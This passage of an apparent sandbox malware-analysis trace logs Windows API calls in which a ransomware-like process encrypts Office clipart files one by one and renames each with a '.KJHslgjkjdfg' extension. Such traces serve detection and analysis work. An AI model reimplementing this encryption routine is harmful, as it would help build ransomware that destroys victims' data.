lpNumberOfBytesRead=0x29df27c*=0x2bdc, lpOverlapped=0x0) returned 1 [0192.699] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2be0, dwBufLen=0x2be0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2be0) returned 1 [0192.699] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.700] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2be0, lpOverlapped=0x0) returned 1 [0192.700] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.700] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2cb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.700] SetEndOfFile (hFile=0x130) returned 1 [0192.702] GetProcessHeap () returned 0x990000 [0192.703] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.703] GetProcessHeap () returned 0x990000 [0192.703] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.703] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf.kjhslgjkjdfg")) returned 1 [0192.704] CloseHandle (hObject=0x130) returned 1 [0192.704] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105246.WMF", cAlternateFileName="")) returned 1 [0192.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.705] GetProcessHeap () returned 0x990000 [0192.705] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.705] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.705] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.705] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.705] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.705] GetProcessHeap () returned 0x990000 [0192.705] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.705] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.705] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.705] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.707] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.707] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.707] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.707] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.708] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.708] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.708] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.708] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.708] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4b80, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4b80, lpOverlapped=0x0) returned 1 [0192.709] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4b80, dwBufLen=0x4b80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4b80) returned 1 [0192.709] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.709] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4b80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4b80, lpOverlapped=0x0) returned 1 [0192.709] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.709] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.709] SetEndOfFile (hFile=0x130) returned 1 [0192.711] GetProcessHeap () returned 0x990000 [0192.712] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.712] GetProcessHeap () returned 0x990000 [0192.712] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.712] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf.kjhslgjkjdfg")) returned 1 [0192.713] CloseHandle (hObject=0x130) returned 1 [0192.713] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1214, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105250.WMF", cAlternateFileName="")) returned 1 [0192.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.715] GetProcessHeap () returned 0x990000 [0192.715] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.715] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.715] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.715] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0192.717] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.717] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.717] GetProcessHeap () returned 0x990000 [0192.717] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.717] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.717] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.717] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.718] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.718] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.718] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.718] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.718] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.718] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.718] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.718] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.718] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1214, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1214, lpOverlapped=0x0) returned 1 [0192.719] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1220, dwBufLen=0x1220 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1220) returned 1 [0192.719] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.719] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1220, lpOverlapped=0x0) returned 1 [0192.720] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x12f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.720] SetEndOfFile (hFile=0x130) returned 1 [0192.722] GetProcessHeap () returned 0x990000 [0192.722] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.722] GetProcessHeap () returned 0x990000 [0192.723] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.723] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf.kjhslgjkjdfg")) returned 1 [0192.724] CloseHandle (hObject=0x130) returned 1 [0192.724] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1714, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105266.WMF", cAlternateFileName="")) returned 1 [0192.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.725] GetProcessHeap () returned 0x990000 [0192.725] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.725] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.725] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.725] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0192.728] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.728] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.728] GetProcessHeap () returned 0x990000 [0192.728] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.728] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.728] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.728] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.728] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.728] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.728] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.729] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.729] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.729] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.729] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.729] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1714, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1714, lpOverlapped=0x0) returned 1 [0192.730] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1720, dwBufLen=0x1720 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1720) returned 1 [0192.730] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.730] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1720, lpOverlapped=0x0) returned 1 [0192.730] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.730] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.730] SetEndOfFile (hFile=0x130) returned 1 [0192.733] GetProcessHeap () returned 0x990000 [0192.733] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.733] GetProcessHeap () returned 0x990000 [0192.733] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.733] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf.kjhslgjkjdfg")) returned 1 [0192.735] CloseHandle (hObject=0x130) returned 1 [0192.735] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4540, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105272.WMF", cAlternateFileName="")) returned 1 [0192.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.735] GetProcessHeap () returned 0x990000 [0192.736] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.736] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.736] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.736] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.736] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.736] GetProcessHeap () returned 0x990000 [0192.736] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.736] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.736] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.736] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.739] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.739] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.739] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.739] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.739] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.739] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.739] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.739] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.739] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4540, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4540, lpOverlapped=0x0) returned 1 [0192.740] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4540, dwBufLen=0x4540 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4540) returned 1 [0192.741] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.741] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4540, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4540, lpOverlapped=0x0) returned 1 [0192.741] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.741] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.741] SetEndOfFile (hFile=0x130) returned 1 [0192.744] GetProcessHeap () returned 0x990000 [0192.744] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.744] GetProcessHeap () returned 0x990000 [0192.744] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.744] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf.kjhslgjkjdfg")) returned 1 [0192.745] CloseHandle (hObject=0x130) returned 1 [0192.746] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, 